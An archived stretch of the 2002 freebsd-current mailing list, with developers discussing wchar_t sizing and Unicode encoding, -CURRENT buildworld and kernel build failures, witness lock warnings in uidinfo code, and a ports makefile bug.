Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Thomas David Rivers wrote:
> > Personally, I vote for u_int16_t... Unicode 16 bit, vs. ISO-10646
> > code page zero (other code pages aren't defined at all anyway, and
> > it matches Windows, in case you want to use an ELF library from a
> > Windows box, if you can figure out how).
> 
>  I noticed before that you mentioned you didn't want the
>  wchar_t to be int-sized (i.e. 32 bits.)  I was just wondering
>  why.
> 
>  If we "shrink" the size at this point, would that have some
>  impact on existing programs.  (Currently, the typedef
>  for `wchar_t' works down to an `int', if I'm not mistaken.)

My ulterior motives are:

o	Sloppily written code, ported from other platforms

o	Compatability with Windows (e.g. NTFS, VFAT32FS)

o	Complete disdain for ISO-10646 being 32 bits, when 16
	of them are never anything but 0, and were put there just
	so that people could grep -v other people's languages out
	of documents

o	I'll believe Hieroglyphics and Linear B when I see the
	fonts and the programs that use them.  Dead languages
	pretty much justify purpose-built linguistics software
	anyway.

o	A desire for raw storage of Unicode, rather than UTF-8 or
	UTF-7 encoding.  This last one is:

	o	UTF encoding is mostly so people using US-ASCII
		don't have to change their data (and to hell with
		the rest of the world).  ASCII centrism is why we're
		having to invent a new type today.

	o	UTF encoding breaks fixed field storage, which has
		always bean a measure of the number of characters
		you can put in a field.

	o	UTF encoding breaks the historical (and really nice)
		"size_of_file/sizeof(struct) := number_of_records"

	o	Not knowing if a character will take 1 byte or 5
		bytes means that your fixed length input fields in
		browsers have to be fixed at 1/5th the number of
		characters as bytes available to store the input
		result

	o	People might accept doubling data size for the benefit
		of internationalization.  They aren't going to accept
		a random multiplier between 1 and 5.

	o	Storage encoding and processing encoding should be
		the same thing, and not require conversion (yeah, I
		know, I was there for the comp.std.internat arguments
		with Ohta-san about hating Unicode because it didn't
		use EUC encoding, used Chinese dictionary ordering,
		and wan't "JIS-208 + extensions"; frankly, I think
		most Japanese don't care, as long as it works, which
		is why Windows hasn't suffered sales losses).

	I really, really hate doing field length conversions in code;
	I rather suspect it will lead to as many bugs as NUL terminated
	strings and "strcpy()" and "sprintf()" have led to buffer
	overflows.

More justification than I intended, but I think the GCC default on
most platforms was chosen to *intentionally* be incompatible with
Windows.  The decision should be made on technical merits, rather
than blind hatred.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18  5:43:18 2002
Delivered-To: freebsd-current@freebsd.org
Received: from speechpro.com (crt-gw.infopro.spb.su [195.201.254.5])
	by hub.freebsd.org (Postfix) with ESMTP id 3CB0337B40F
	for <freebsd-current@freebsd.org>; Tue, 18 Jun 2002 05:43:03 -0700 (PDT)
Received: from drweb by sysadm.stc with drweb-scanned (Exim 3.36 #1)
	id 17KIL3-000Ayj-00
	for freebsd-current@freebsd.org; Tue, 18 Jun 2002 16:44:01 +0400
Received: from igorr by sysadm.stc with local (Exim 3.36 #1)
	id 17KIL3-000Aya-00
	for freebsd-current@freebsd.org; Tue, 18 Jun 2002 16:44:01 +0400
Date: Tue, 18 Jun 2002 16:44:01 +0400
From: Igor Roboul <igorr@sysadm.stc>
To: freebsd-current@freebsd.org
Subject: buildworld failed
Message-ID: <20020618124401.GA42161@sysadm.stc>
Reply-To: ir@hotbox.ru
Mail-Followup-To: Igor Roboul <igorr@sysadm.stc>,
	freebsd-current@freebsd.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.99i
X-Envelope-To: freebsd-current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hello, 
I have got following error while building today's -CURRENT:

===> usr.bin/truss
cp
/opt/freebsd-current/src/usr.bin/truss/../../sys/kern/syscalls.master
syscall
s.master
/bin/sh
/opt/freebsd-current/src/usr.bin/truss/../../sys/kern/makesyscalls.sh
sy
scalls.master  /opt/freebsd-current/src/usr.bin/truss/i386.conf
syscalls.master: line 55: syscall number out of sync at 7
line is:
                            struct rusage  * rusage ) ;  }  wait4
wait_args int

-- 
Igor Roboul, System administrator at Speech Technology Center
http://www.speechpro.com http://www.speechpro.ru


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18  7:36:19 2002
Delivered-To: freebsd-current@freebsd.org
Received: from lockdown.spectrum.fearmuffs.net (c164-147.pro.thalamus.se [212.31.164.147])
	by hub.freebsd.org (Postfix) with ESMTP id A765337B407
	for <freebsd-current@freebsd.org>; Tue, 18 Jun 2002 07:36:02 -0700 (PDT)
Received: from lockdown.spectrum.fearmuffs.net (localhost.spectrum.fearmuffs.net [127.0.0.1])
	by lockdown.spectrum.fearmuffs.net (8.12.3/8.12.3) with ESMTP id g5IEa2OU002160;
	Tue, 18 Jun 2002 16:36:02 +0200 (CEST)
	(envelope-from gmh003532@brfmasthugget.se)
Received: (from redpixel@localhost)
	by lockdown.spectrum.fearmuffs.net (8.12.3/8.12.3/Submit) id g5IEa0Dk002159;
	Tue, 18 Jun 2002 16:36:00 +0200 (CEST)
	(envelope-from gmh003532@brfmasthugget.se)
Date: Tue, 18 Jun 2002 16:36:00 +0200
From: Martin Faxer <gmh003532@brfmasthugget.se>
To: ir@hotbox.ru
Cc: freebsd-current@freebsd.org
Subject: Re: buildworld failed
Message-ID: <20020618143600.GB472@lockdown.spectrum.fearmuffs.net>
Mail-Followup-To: ir@hotbox.ru, freebsd-current@freebsd.org
References: <20020618124401.GA42161@sysadm.stc>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020618124401.GA42161@sysadm.stc>
User-Agent: Mutt/1.3.99i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On 2002.06.18 16:44:01 +0000, Igor Roboul wrote:
> Hello, 
> I have got following error while building today's -CURRENT:

if you'd bothered to read the mailing lists a little bit more
closely you'd know that by now this issue has been discussied
in at least 2 threads already, latest one being only a day old.

the fix is (yet again) to rebuild sed.

> ===> usr.bin/truss
> cp
> /opt/freebsd-current/src/usr.bin/truss/../../sys/kern/syscalls.master
> syscall
> s.master
> /bin/sh
> /opt/freebsd-current/src/usr.bin/truss/../../sys/kern/makesyscalls.sh
> sy
> scalls.master  /opt/freebsd-current/src/usr.bin/truss/i386.conf
> syscalls.master: line 55: syscall number out of sync at 7
> line is:
>                             struct rusage  * rusage ) ;  }  wait4
> wait_args int

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18  8: 5:29 2002
Delivered-To: freebsd-current@freebsd.org
Received: from castle.jp.FreeBSD.org (castle.jp.FreeBSD.org [210.226.20.15])
	by hub.freebsd.org (Postfix) with ESMTP id A47B737B40D
	for <freebsd-current@freebsd.org>; Tue, 18 Jun 2002 08:05:05 -0700 (PDT)
Received: from localhost (localhost [::1])
	by castle.jp.FreeBSD.org (8.11.6+3.4W/8.11.3) with ESMTP/inet6 id g5IF54c63568
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 00:05:04 +0900 (JST)
	(envelope-from matusita@jp.FreeBSD.org)
In-Reply-To: <20020618143600.GB472@lockdown.spectrum.fearmuffs.net>
References: <20020618124401.GA42161@sysadm.stc>
	<20020618124401.GA42161@sysadm.stc>
	<20020618143600.GB472@lockdown.spectrum.fearmuffs.net>
X-User-Agent: Mew/1.94.2 XEmacs/21.5 (bamboo)
X-FaceAnim: (-O_O-)(O_O- )(_O-  )(O-   )(-   -)(   -O)(  -O_)( -O_O)(-O_O-)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Dispatcher: imput version 20000228(IM140)
Lines: 7
From: Makoto Matsushita <matusita@jp.FreeBSD.org>
To: freebsd-current@freebsd.org
Subject: Re: buildworld failed
Date: Wed, 19 Jun 2002 00:05:00 +0900
Message-Id: <20020619000500G.matusita@jp.FreeBSD.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


gmh003532> the fix is (yet again) to rebuild sed.

Is this mean that src/usr.bin/sed should be a build-tool?

-- -
Makoto `MAR' Matsushita

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 10:38:40 2002
Delivered-To: freebsd-current@freebsd.org
Received: from vampyre.com (vampyre.com [192.220.75.116])
	by hub.freebsd.org (Postfix) with SMTP id C647B37B406
	for <freebsd-current@freebsd.org>; Tue, 18 Jun 2002 10:38:34 -0700 (PDT)
Received: (qmail 37536 invoked by uid 19316); 18 Jun 2002 17:38:34 -0000
Date: Tue, 18 Jun 2002 17:38:34 +0000
From: "Robert [zardoz]" <zardoz@vampyre.com>
To: freebsd-current@freebsd.org
Subject: Kernel Build Fails - Syscons errors...
Message-ID: <20020618173834.A15604@vampyre.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

While compiling a new kernel based on today's sources, I get the
following errors from the syscons history code:

[freya] [/sys/i386/compile/freya5] # make
cc -c -O -pipe  -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -Wno-format -ansi  -nostdinc -I-  -I. -I../../.. -I../../../dev -I../../../contrib/dev/acpica -I../../../contrib/ipfilter -I../../../../include  -D_KERNEL -include opt_global.h -fno-common   -mpreferred-stack-boundary=2 -ffreestanding -Werror  ../../../dev/syscons/schistory.c
../../../dev/syscons/schistory.c: In function `sc_alloc_history_buffer':
../../../dev/syscons/schistory.c:127: void value not ignored as it ought to be
../../../dev/syscons/schistory.c:127: syntax error before ')' token
../../../dev/syscons/schistory.c: In function `sc_hist_ioctl':
../../../dev/syscons/schistory.c:306: void value not ignored as it ought to be
../../../dev/syscons/schistory.c:306: syntax error before ')' token
*** Error code 1

Stop in /usr/src/sys/i386/compile/freya5.

TIA for assistance...

/robert/

-- 

                     --- END ---

"At a dinner party one should eat wisely but not too well,
and talk well but not too wisely."
             -- W. Somerset Maugham (1874-1965)

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 10:51:55 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id D4FE337B40D; Tue, 18 Jun 2002 10:50:48 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5IHomP8048579;
	Tue, 18 Jun 2002 10:50:48 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5IHolOZ048578;
	Tue, 18 Jun 2002 10:50:47 -0700 (PDT)
Date: Tue, 18 Jun 2002 10:50:47 -0700
From: "David O'Brien" <obrien@freebsd.org>
To: Oliver Braun <obraun@informatik.unibw-muenchen.de>,
	Kris Kennaway <kris@obsecurity.org>, ijliao@freebsd.org,
	ports@freebsd.org, current@freebsd.org
Subject: Re: rsync 5.x breakage
Message-ID: <20020618105047.B48515@dragon.nuxi.com>
Reply-To: obrien@freebsd.org
Mail-Followup-To: David O'Brien <obrien@FreeBSD.org>,
	Oliver Braun <obraun@informatik.unibw-muenchen.de>,
	Kris Kennaway <kris@obsecurity.org>, ijliao@freebsd.org,
	ports@freebsd.org, current@freebsd.org
References: <20020616040000.A16402@xor.obsecurity.org> <20020616123029.GA12998@informatik.unibw-muenchen.de> <20020617202940.E20621@dragon.nuxi.com> <20020618082132.GA57151@informatik.unibw-muenchen.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020618082132.GA57151@informatik.unibw-muenchen.de>; from obraun@informatik.unibw-muenchen.de on Tue, Jun 18, 2002 at 10:21:32AM +0200
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Tue, Jun 18, 2002 at 10:21:32AM +0200, Oliver Braun wrote:
> BTW, why have you added BUILD_DEPENDS=  perl:${PORTSDIR}/lang/perl5 to
> net/rsync? Only for the patches?

Correct, for the use of "perl -pi -e".

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 10:53:35 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP id 2BEBA37B405
	for <freebsd-current@freebsd.org>; Tue, 18 Jun 2002 10:53:30 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5IHrTP8048662;
	Tue, 18 Jun 2002 10:53:29 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5IHrT9i048661;
	Tue, 18 Jun 2002 10:53:29 -0700 (PDT)
Date: Tue, 18 Jun 2002 10:53:29 -0700
From: "David O'Brien" <obrien@freebsd.org>
To: Makoto Matsushita <matusita@jp.FreeBSD.org>
Cc: freebsd-current@freebsd.org
Subject: Re: buildworld failed
Message-ID: <20020618105329.A48625@dragon.nuxi.com>
Reply-To: obrien@freebsd.org
References: <20020618124401.GA42161@sysadm.stc> <20020618124401.GA42161@sysadm.stc> <20020618143600.GB472@lockdown.spectrum.fearmuffs.net> <20020619000500G.matusita@jp.FreeBSD.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020619000500G.matusita@jp.FreeBSD.org>; from matusita@jp.FreeBSD.org on Wed, Jun 19, 2002 at 12:05:00AM +0900
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wed, Jun 19, 2002 at 12:05:00AM +0900, Makoto Matsushita wrote:
> 
> gmh003532> the fix is (yet again) to rebuild sed.
> 
> Is this mean that src/usr.bin/sed should be a build-tool?

No, there was a bad commit to sed.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 12:13:53 2002
Delivered-To: freebsd-current@freebsd.org
Received: from rootlabs.com (root.org [67.118.192.226])
	by hub.freebsd.org (Postfix) with SMTP id 08ABA37B4B3
	for <current@freebsd.org>; Tue, 18 Jun 2002 12:12:50 -0700 (PDT)
Received: (qmail 10687 invoked by uid 1000); 18 Jun 2002 19:42:37 -0000
Date: Tue, 18 Jun 2002 12:42:37 -0700 (PDT)
From: Nate Lawson <nate@root.org>
To: current@freebsd.org
Subject: Suggested fixes for uidinfo "would sleep" messages
Message-ID: <Pine.BSF.4.21.0206181226040.10665-100000@root.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

As with others on the list, I've been getting a lot of witness complaints:

../../../vm/uma_core.c:1327: could sleep with "process lock" locked from
../../../kern/kern_prot.c:511
../../../vm/uma_core.c:1327: could sleep with "process lock" locked from
../../../kern/kern_prot.c:613

Basically, every time cron runs, it does a setuid() or seteuid(), which
calls change_ruid or change_euid which call uifree and uifind (which does
the malloc with M_WAITOK while holding PROC_LOCK).

kern/kern_resource.c:862

uifind() attempts to avoid sleeping with the hash table mutex by unlocking
it, mallocing a new uidinfo, then locking it again and checking that
another thread didn't create the same uidinfo while it was asleep.  
However, there may be other locks held at the same time (namely,
PROC_LOCK) that uifind is not aware of.

Here are a couple of suggested fixes:

1. Break uifind back into uifind, uicreate, and uiinsert.  If
uifind returns NULL, caller drops all locks, calls uicreate, grabs
locks, checks uifind again, and calls uiinsert.

2. Split set*uid execution into lookup, (optionally) create, and modify
phases.  Locks only need to be held for lookup and modify.

Is anyone else working on a fix?

Thanks,
Nate


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 12:48:35 2002
Delivered-To: freebsd-current@freebsd.org
Received: from elvis.mu.org (elvis.mu.org [192.203.228.196])
	by hub.freebsd.org (Postfix) with ESMTP id 6FCFD37B404
	for <current@freebsd.org>; Tue, 18 Jun 2002 12:48:28 -0700 (PDT)
Received: by elvis.mu.org (Postfix, from userid 1192)
	id 3ECCFAE28D; Tue, 18 Jun 2002 12:48:28 -0700 (PDT)
Date: Tue, 18 Jun 2002 12:48:28 -0700
From: Alfred Perlstein <bright@mu.org>
To: Nate Lawson <nate@root.org>
Cc: current@freebsd.org
Subject: Re: Suggested fixes for uidinfo "would sleep" messages
Message-ID: <20020618194828.GC12139@elvis.mu.org>
References: <Pine.BSF.4.21.0206181226040.10665-100000@root.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.21.0206181226040.10665-100000@root.org>
User-Agent: Mutt/1.3.27i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

* Nate Lawson <nate@root.org> [020618 12:17] wrote:
> As with others on the list, I've been getting a lot of witness complaints:
> 
> ../../../vm/uma_core.c:1327: could sleep with "process lock" locked from
> ../../../kern/kern_prot.c:511
> ../../../vm/uma_core.c:1327: could sleep with "process lock" locked from
> ../../../kern/kern_prot.c:613
> 
> Basically, every time cron runs, it does a setuid() or seteuid(), which
> calls change_ruid or change_euid which call uifree and uifind (which does
> the malloc with M_WAITOK while holding PROC_LOCK).
...
> Is anyone else working on a fix?

The code should not be holding proc locks over ui*() calls.

-- 
-Alfred Perlstein [alfred@freebsd.org]
'Instead of asking why a piece of software is using "1970s technology,"
 start asking why software is ignoring 30 years of accumulated wisdom.'
Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 13:34:40 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dragon.nuxi.com (trang.nuxi.com [66.92.13.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 6E25637B408; Tue, 18 Jun 2002 13:34:33 -0700 (PDT)
Received: from dragon.nuxi.com (obrien@localhost [127.0.0.1])
	by dragon.nuxi.com (8.12.3/8.12.2) with ESMTP id g5IKYWP8005995;
	Tue, 18 Jun 2002 13:34:32 -0700 (PDT)
	(envelope-from obrien@dragon.nuxi.com)
Received: (from obrien@localhost)
	by dragon.nuxi.com (8.12.4/8.12.3/Submit) id g5IKYV6b005994;
	Tue, 18 Jun 2002 13:34:31 -0700 (PDT)
Date: Tue, 18 Jun 2002 13:34:31 -0700
From: "David O'Brien" <obrien@FreeBSD.ORG>
To: current@FreeBSD.ORG, ports@FreeBSD.ORG, kde-freebsd@FreeBSD.ORG
Subject: Re: C++ problems
Message-ID: <20020618133431.A5967@dragon.nuxi.com>
Reply-To: obrien@FreeBSD.ORG
Mail-Followup-To: David O'Brien <obrien@FreeBSD.org>,
	current@FreeBSD.ORG, ports@FreeBSD.ORG, kde-freebsd@FreeBSD.ORG
References: <20020612003134.H69960-100000@volatile.chemikals.org> <3D0C22CC.8070409@gmx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3D0C22CC.8070409@gmx.net>; from michaelnottebrock@gmx.net on Sun, Jun 16, 2002 at 07:31:56AM +0200
X-Operating-System: FreeBSD 5.0-CURRENT
Organization: The NUXI BSD group
X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3  90 76 5D 69 58 D9 98 7A
X-Pgp-Rsa-Keyid: 1024/34F9F9D5
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sun, Jun 16, 2002 at 07:31:56AM +0200, Michael Nottebrock wrote:
> I just hit the same problem while trying to compile KDE stuff. In my 
> case it stems from bsd.kde.mk adding -I/usr/include to CPPFLAGS

Why in the (*_#$ did someone make bsd.kde.mk do that??

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 14: 3:27 2002
Delivered-To: freebsd-current@freebsd.org
Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101])
	by hub.freebsd.org (Postfix) with ESMTP
	id CC63337B400; Tue, 18 Jun 2002 14:03:20 -0700 (PDT)
Received: (from dan@localhost)
	by dan.emsphone.com (8.12.3/8.12.3) id g5IL3KKE005147;
	Tue, 18 Jun 2002 16:03:20 -0500 (CDT)
	(envelope-from dan)
Date: Tue, 18 Jun 2002 16:03:20 -0500
From: Dan Nelson <dnelson@allantgroup.com>
To: "David O'Brien" <obrien@FreeBSD.ORG>
Cc: current@FreeBSD.ORG, ports@FreeBSD.ORG, kde-freebsd@FreeBSD.ORG
Subject: Re: C++ problems
Message-ID: <20020618210320.GC84123@dan.emsphone.com>
References: <20020612003134.H69960-100000@volatile.chemikals.org> <3D0C22CC.8070409@gmx.net> <20020618133431.A5967@dragon.nuxi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020618133431.A5967@dragon.nuxi.com>
X-OS: FreeBSD 5.0-CURRENT
X-message-flag: Outlook Error
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

In the last episode (Jun 18), David O'Brien said:
> On Sun, Jun 16, 2002 at 07:31:56AM +0200, Michael Nottebrock wrote:
> > I just hit the same problem while trying to compile KDE stuff. In my 
> > case it stems from bsd.kde.mk adding -I/usr/include to CPPFLAGS
> 
> Why in the (*_#$ did someone make bsd.kde.mk do that??

It was an attempt to work around a bug in the pth port.  The pth bug
was fixed in 

 RCS file: /home/ncvs/ports/devel/pth/pkg-plist,v
 revision 1.11
 date: 2001/09/11 14:49:45;  author: sf;  state: Exp;  lines: +10 -8
 install headers/libraries under its own directory, ${PREFIX}/includes/pth and
 ${PREFIX}/lib/pth, to avoid conflict with FreeBSD pthread.

.. but bsd.kde.mk was not fixed until yesterday (and the PR on it is
still open: ports/37681 it can be closed now).

-- 
	Dan Nelson
	dnelson@allantgroup.com

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 17:45:58 2002
Delivered-To: freebsd-current@freebsd.org
Received: from smtp.sw.oz.au (smtp.sw.oz.au [203.31.96.1])
	by hub.freebsd.org (Postfix) with ESMTP id 9729137B400
	for <current@FreeBSD.ORG>; Tue, 18 Jun 2002 17:45:52 -0700 (PDT)
Received: (from vance@localhost)
	by smtp.sw.oz.au (8.8.8+Sun/8.8.8) id KAA05717;
	Wed, 19 Jun 2002 10:45:14 +1000 (EST)
Date: Wed, 19 Jun 2002 10:45:14 +1000
From: Christopher Vance <vance@aurema.com>
To: Terry Lambert <tlambert2@mindspring.com>
Cc: Thomas David Rivers <rivers@dignus.com>, mb@imp.ch,
	current@FreeBSD.ORG, wollman@lcs.mit.edu
Subject: Re: PATCH: wchar_t is already defined in libstd++
Message-ID: <20020619104513.A25483@aurema.com>
References: <200206181119.g5IBJX954922@lakes.dignus.com> <3D0F1D98.31B49358@mindspring.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3D0F1D98.31B49358@mindspring.com>; from tlambert2@mindspring.com on Tue, Jun 18, 2002 at 04:46:32AM -0700
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Tue, Jun 18, 2002 at 04:46:32AM -0700, Terry Lambert wrote:
: My ulterior motives are:
: o	Complete disdain for ISO-10646 being 32 bits, when 16
: 	of them are never anything but 0, and were put there just
: 	so that people could grep -v other people's languages out
: 	of documents

Actually it's 21 bits, and there are already some characters defined
above 0xFFFF.

-- 
Christopher Vance

